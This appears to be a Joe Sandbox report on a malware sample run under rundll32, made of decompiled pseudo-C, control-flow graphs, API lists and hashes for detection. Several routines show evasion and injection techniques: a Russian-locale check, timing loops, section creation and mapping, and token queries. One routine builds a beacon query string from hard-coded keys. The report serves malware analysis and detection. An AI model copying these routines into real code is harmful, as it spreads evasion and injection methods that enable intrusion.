                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                    • String ID:
                    • API String ID: 3401600162-0
                    • Opcode ID: 9b677821e78eebc780b8502c4201f3356590e104dff0fd9007ff6f876d6da82e
                    • Instruction ID: 621c1f74a0762cb1de529fb4c6c498b3ee89ec12273ef9bf72dc5fa4b5165ac6
                    • Opcode Fuzzy Hash: 9b677821e78eebc780b8502c4201f3356590e104dff0fd9007ff6f876d6da82e
                    • Instruction Fuzzy Hash: 39513AB1D40209BFDF109FA5DC89AAE7BB9EB48340F184529F919E6140D7B08A24DF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 137 2c81226-2c81236 call 2c81f1e 140 2c8123c-2c8123e 137->140 141 2c813a3-2c813a4 137->141 142 2c8123f-2c81246 140->142 143 2c81247-2c81251 call 2c82046 142->143 146 2c81288 143->146 147 2c81253-2c8126e NtQuerySystemInformation 143->147 148 2c8128f-2c81293 146->148 149 2c81270 147->149 150 2c81273-2c81286 call 2c81cd6 147->150 148->143 151 2c81295-2c812ae call 2c81ac4 Sleep 148->151 149->150 150->148 151->142 156 2c812b0-2c812b4 151->156 157 2c812ba-2c812d2 GetLocaleInfoA 156->157 158 2c813a0-2c813a2 156->158 159 2c812ec-2c812f5 157->159 160 2c812d4-2c812e7 GetSystemDefaultUILanguage VerLanguageNameA 157->160 158->141 161 2c812fb-2c812fe 159->161 162 2c81392-2c81398 159->162 160->159 163 2c8134f-2c81363 call 2c81f97 161->163 164 2c81300-2c8130b call 2c81516 161->164 162->158 165 2c8139a GetLastError 162->165 170 2c81389-2c8138f GetLastError 163->170 171 2c81365-2c81373 WaitForSingleObject 163->171 172 2c81349 164->172 173 2c8130d-2c8131f GetLongPathNameW 164->173 165->158 170->162 174 2c81380-2c81387 CloseHandle 171->174 175 2c81375-2c8137a GetExitCodeThread 171->175 172->163 176 2c81341-2c81347 173->176 177 2c81321-2c81332 call 2c82046 173->177 174->162 175->174 176->163 177->176 180 2c81334-2c8133f GetLongPathNameW call 2c81cd6 177->180 180->163
                    C-Code - Quality: 79%
                    			E02C81226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E02C81F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E02C82046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E02C81CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E02C81AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E02C81F97(E02C820A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E02C81516(_t63,  &_a4) != 0) {
							 *0x2c841b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0x2c841b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E02C82046(_t69 + _t23);
						 *0x2c841b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E02C81CD6(_t62);
						goto L21;
					}
				}
			}






















                    0x02c8122c
                    0x02c81231
                    0x02c81236
                    0x02c813a4
                    0x02c8123c
                    0x02c8123f
                    0x02c8123f
                    0x02c81243
                    0x02c81246
                    0x02c81247
                    0x02c8124d
                    0x02c81251
                    0x02c81288
                    0x02c81253
                    0x02c8125b
                    0x02c81261
                    0x02c81263
                    0x02c81268
                    0x02c8126e
                    0x02c81270
                    0x02c81270
                    0x02c81277
                    0x02c8127d
                    0x02c8127d
                    0x02c81281
                    0x02c81281
                    0x02c8128f
                    0x02c81296
                    0x02c8129f
                    0x02c812a2
                    0x02c812a8
                    0x02c812ab
                    0x02c812b4
                    0x02c813a0
                    0x00000000
                    0x02c813a2
                    0x02c812c7
                    0x02c812ca
                    0x02c812d2
                    0x02c812d4
                    0x02c812df
                    0x02c812e7
                    0x02c812e7
                    0x02c812f5
                    0x02c81392
                    0x02c81392
                    0x02c81398
                    0x02c8139a
                    0x02c8139a
                    0x00000000
                    0x02c812fb
                    0x02c812fe
                    0x02c8134f
                    0x02c8134f
                    0x02c8135f
                    0x02c81363
                    0x02c8138f
                    0x02c81365
                    0x02c81368
                    0x02c8136e
                    0x02c81373
                    0x02c8137a
                    0x02c8137a
                    0x02c81381
                    0x02c81381
                    0x00000000
                    0x02c81363
                    0x02c8130b
                    0x02c81349
                    0x00000000
                    0x02c81349
                    0x02c8130d
                    0x02c81312
                    0x02c8131b
                    0x02c8131f
                    0x02c81341
                    0x02c81341
                    0x00000000
                    0x02c81341
                    0x02c81321
                    0x02c81326
                    0x02c8132b
                    0x02c81332
                    0x00000000
                    0x00000000
                    0x02c81337
                    0x02c8133a
                    0x00000000
                    0x02c8133a
                    0x02c812f5

                    APIs
                      • Part of subcall function 02C81F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02C81231), ref: 02C81F2D
                      • Part of subcall function 02C81F1E: GetVersion.KERNEL32 ref: 02C81F3C
                      • Part of subcall function 02C81F1E: GetCurrentProcessId.KERNEL32 ref: 02C81F58
                      • Part of subcall function 02C81F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02C81F71
                      • Part of subcall function 02C82046: RtlAllocateHeap.NTDLL(00000000,?,02C8124D,00000030,74CB63F0,00000000), ref: 02C82052
                    • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 02C8125B
                    • Sleep.KERNEL32(00000000,00000000,00000030,74CB63F0,00000000), ref: 02C812A2
                    • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 02C812CA
                    • GetSystemDefaultUILanguage.KERNEL32 ref: 02C812D4
                    • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 02C812E7
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02C81319
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02C81337
                    • WaitForSingleObject.KERNEL32(00000000,000000FF,02C820A4,?,00000000), ref: 02C81368
                    • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 02C8137A
                    • CloseHandle.KERNEL32(00000000), ref: 02C81381
                    • GetLastError.KERNEL32(02C820A4,?,00000000), ref: 02C81389
                    • GetLastError.KERNEL32 ref: 02C8139A
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                    • String ID:
                    • API String ID: 1327471650-0
                    • Opcode ID: c440cecda06f35e67c7fc62f9a1b5652c86e2addf338ef69c4e88efb9af814f3
                    • Instruction ID: c90a490220a089e69fd086bf7d16bd5c267caccae65ffd93ae1ee5cbb0900c15
                    • Opcode Fuzzy Hash: c440cecda06f35e67c7fc62f9a1b5652c86e2addf338ef69c4e88efb9af814f3
                    • Instruction Fuzzy Hash: 1741F271D00624BADB21BBA5DC44BAF7AEDEF40758F18C666E509E7140D7B0CA02DBA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 38%
                    			E02C9421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E02C933DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E02C961DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                    0x02c9422c
                    0x02c9422d
                    0x02c9422e
                    0x02c9422f
                    0x02c94230
                    0x02c94234
                    0x02c9423b
                    0x02c9424a
                    0x02c9424d
                    0x02c94250
                    0x02c94257
                    0x02c9425a
                    0x02c9425d
                    0x02c94260
                    0x02c94263
                    0x02c9426e
                    0x02c94270
                    0x02c94279
                    0x02c94281
                    0x02c94283
                    0x02c94295
                    0x02c9429f
                    0x02c942a3
                    0x02c942b2
                    0x02c942b6
                    0x02c942bf
                    0x02c942c7
                    0x02c942c7
                    0x02c942c9
                    0x02c942c9
                    0x02c942d1
                    0x02c942d7
                    0x02c942db
                    0x02c942db
                    0x02c942e6

                    APIs
                    • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 02C94266
                    • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 02C94279
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02C94295
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02C942B2
                    • memcpy.NTDLL(?,00000000,0000001C), ref: 02C942BF
                    • NtClose.NTDLL(?), ref: 02C942D1
                    • NtClose.NTDLL(00000000), ref: 02C942DB
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                    • String ID:
                    • API String ID: 2575439697-0
                    • Opcode ID: 40d6f17b9a0ff35c12870262d12c6d536a3d839a8bc93869b414850735187642
                    • Instruction ID: cad7870f8b4095a3e62fa908dcbb5e0ab6087b19087719bd10e3b6a5a45365da
                    • Opcode Fuzzy Hash: 40d6f17b9a0ff35c12870262d12c6d536a3d839a8bc93869b414850735187642
                    • Instruction Fuzzy Hash: E62123B2A00228BBDF119FA5CC88ADEBFBDFB08750F104126F905E6110D7718A619BE0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 72%
                    			E02C81E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E02C8205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                    0x02c81e7f
                    0x02c81e86
                    0x02c81e87
                    0x02c81e88
                    0x02c81e89
                    0x02c81e8a
                    0x02c81e9b
                    0x02c81e9f
                    0x02c81eb3
                    0x02c81eb6
                    0x02c81eb9
                    0x02c81ec0
                    0x02c81ec3
                    0x02c81eca
                    0x02c81ecd
                    0x02c81ed0
                    0x02c81ed3
                    0x02c81ed8
                    0x02c81f13
                    0x02c81eda
                    0x02c81edd
                    0x02c81ee3
                    0x02c81ee8
                    0x02c81eec
                    0x02c81f0a
                    0x02c81eee
                    0x02c81ef5
                    0x02c81f03
                    0x02c81f03
                    0x02c81eec
                    0x02c81f1b

                    APIs
                    • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02C81ED3
                      • Part of subcall function 02C8205B: NtMapViewOfSection.NTDLL(00000000,000000FF,02C81EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02C81EE8,?), ref: 02C82088
                    • memset.NTDLL ref: 02C81EF5
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: Section$CreateViewmemset
                    • String ID: @
                    • API String ID: 2533685722-2766056989
                    • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction ID: ed9e1cbb83690fea9915d5626fe446ffef02096c9a87507926905224f68736c3
                    • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction Fuzzy Hash: CD211DB1D00209AFCB11DFA9C8849EEFBF9EF48354F108469E516F3210D771AA458FA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 04970D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,04970D2E,?,?,?,?,009443B5), ref: 04970D6F
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637622273.0000000004970000.00000040.00001000.00020000.00000000.sdmp, Offset: 04970000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_4970000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateMemoryVirtual
                    • String ID: $J
                    • API String ID: 2167126740-2211503540
                    • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                    • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                    • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                    • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 04970D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,04970D8D,?,?,?,?,?), ref: 04970DC7
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637622273.0000000004970000.00000040.00001000.00020000.00000000.sdmp, Offset: 04970000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_4970000_rundll32.jbxd
                    Similarity
                    • API ID: FreeMemoryVirtual
                    • String ID: M%J
                    • API String ID: 3963845541-4193894376
                    • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                    • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                    • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                    • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C8205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E02C8205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                    0x02c8206d
                    0x02c82073
                    0x02c82081
                    0x02c82088
                    0x02c8208d
                    0x02c82093
                    0x00000000
                    0x02c82094
                    0x00000000

                    APIs
                    • NtMapViewOfSection.NTDLL(00000000,000000FF,02C81EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02C81EE8,?), ref: 02C82088
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: SectionView
                    • String ID:
                    • API String ID: 1323581903-0
                    • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction ID: f2881089feb0a77187efeeac991f153672e21a8bf414b29c586cab873fb6ea58
                    • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction Fuzzy Hash: 89F019B550020CBFD7119FA5CC85C9FBBBDDB44254B104939F552D1054D6309D089A61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C93CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 69%
                    			E02C93CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x2c9a3e0; // 0x5429be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x2c9a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x2c9a018; // 0x14d7c998
					asm("bswap eax");
					_t34 =  *0x2c9a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x2c9a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x2c9a00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x2c9a348; // 0x278d5a8
					_t3 = _t37 + 0x2c9b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x2c9a02c,  *0x2c9a004, _t112);
					_t40 = E02C9467F();
					_t41 =  *0x2c9a348; // 0x278d5a8
					_t4 = _t41 + 0x2c9b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x2c9a348; // 0x278d5a8
						_t8 = _t93 + 0x2c9b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x2c9a348; // 0x278d5a8
					_t10 = _t45 + 0x2c9b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E02C9472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x2c9a348; // 0x278d5a8
						_t12 = _t88 + 0x2c9b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x2c9a2d8, 0, _t105);
					}
					_t106 = E02C91340();
					if(_t106 != 0) {
						_t83 =  *0x2c9a348; // 0x278d5a8
						_t14 = _t83 + 0x2c9b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x2c9a2d8, 0, _t106);
					}
					_t107 =  *0x2c9a3cc; // 0x5429600
					_a20 = E02C96B59(0x2c9a00a, _t107 + 4);
					_t53 =  *0x2c9a36c; // 0x54295b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x2c9a348; // 0x278d5a8
						_t17 = _t80 + 0x2c9b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x2c9a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E02C92915(GetTickCount());
							_t59 =  *0x2c9a3cc; // 0x5429600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x2c9a3cc; // 0x5429600
							__imp__(_t63 + 0x40);
							_t65 =  *0x2c9a3cc; // 0x5429600
							_t66 = E02C96675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x2c99280);
								_push(_t119);
								_t71 = E02C97563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E02C921A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E02C963F6();
									}
									HeapFree( *0x2c9a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x2c9a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x2c9a2d8, _t109, _t116); // executed
						}
						HeapFree( *0x2c9a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x2c9a2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                    0x02c93ce0
                    0x02c93ce0
                    0x02c93ce0
                    0x02c93cf5
                    0x02c93cf7
                    0x02c93cfc
                    0x02c93d00
                    0x02c93d08
                    0x02c93d0e
                    0x02c93d12
                    0x02c93d1a
                    0x02c93d22
                    0x02c93d22
                    0x02c93d24
                    0x02c93d30
                    0x02c93d3f
                    0x02c93d44
                    0x02c93d47
                    0x02c93d4c
                    0x02c93d4f
                    0x02c93d54
                    0x02c93d57
                    0x02c93d63
                    0x02c93d70
                    0x02c93d72
                    0x02c93d78
                    0x02c93d7d
                    0x02c93d88
                    0x02c93d8a
                    0x02c93d8d
                    0x02c93d93
                    0x02c93d95
                    0x02c93d9e
                    0x02c93da9
                    0x02c93dab
                    0x02c93dae
                    0x02c93dae
                    0x02c93db0
                    0x02c93db5
                    0x02c93dc1
                    0x02c93dc3
                    0x02c93dc6
                    0x02c93dc8
                    0x02c93dcd
                    0x02c93dd1
                    0x02c93dd3
                    0x02c93dd8
                    0x02c93de4
                    0x02c93de6
                    0x02c93df2
                    0x02c93df4
                    0x02c93df4
                    0x02c93dff
                    0x02c93e03
                    0x02c93e05
                    0x02c93e0a
                    0x02c93e16
                    0x02c93e18
                    0x02c93e24
                    0x02c93e26
                    0x02c93e26
                    0x02c93e2c
                    0x02c93e3f
                    0x02c93e43
                    0x02c93e48
                    0x02c93e4c
                    0x02c93e4f
                    0x02c93e54
                    0x02c93e5e
                    0x02c93e60
                    0x02c93e67
                    0x02c93e7f
                    0x02c93e83
                    0x02c93e8f
                    0x02c93e94
                    0x02c93e9d
                    0x02c93eae
                    0x02c93eb2
                    0x02c93ebb
                    0x02c93ec1
                    0x02c93ec9
                    0x02c93ece
                    0x02c93edb
                    0x02c93ee1
                    0x02c93eed
                    0x02c93ef3
                    0x02c93ef4
                    0x02c93ef9
                    0x02c93eff
                    0x02c93f05
                    0x02c93f0c
                    0x02c93f13
                    0x02c93f19
                    0x02c93f20
                    0x02c93f24
                    0x02c93f2f
                    0x02c93f34
                    0x02c93f3a
                    0x02c93f43
                    0x02c93f43
                    0x02c93f54
                    0x02c93f5a
                    0x02c93f5a
                    0x02c93f64
                    0x02c93f64
                    0x02c93f72
                    0x02c93f72
                    0x02c93f83
                    0x02c93f83
                    0x02c93f91
                    0x02c93f91
                    0x02c93fa2

                    APIs
                    • RtlAllocateHeap.NTDLL ref: 02C93D08
                    • GetTickCount.KERNEL32 ref: 02C93D1C
                    • wsprintfA.USER32 ref: 02C93D6B
                    • wsprintfA.USER32 ref: 02C93D88
                    • wsprintfA.USER32 ref: 02C93DA9
                    • wsprintfA.USER32 ref: 02C93DC1
                    • wsprintfA.USER32 ref: 02C93DE4
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C93DF4
                    • wsprintfA.USER32 ref: 02C93E16
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C93E26
                    • wsprintfA.USER32 ref: 02C93E5E
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02C93E79
                    • GetTickCount.KERNEL32 ref: 02C93E89
                    • RtlEnterCriticalSection.NTDLL(054295C0), ref: 02C93E9D
                    • RtlLeaveCriticalSection.NTDLL(054295C0), ref: 02C93EBB
                      • Part of subcall function 02C96675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A0
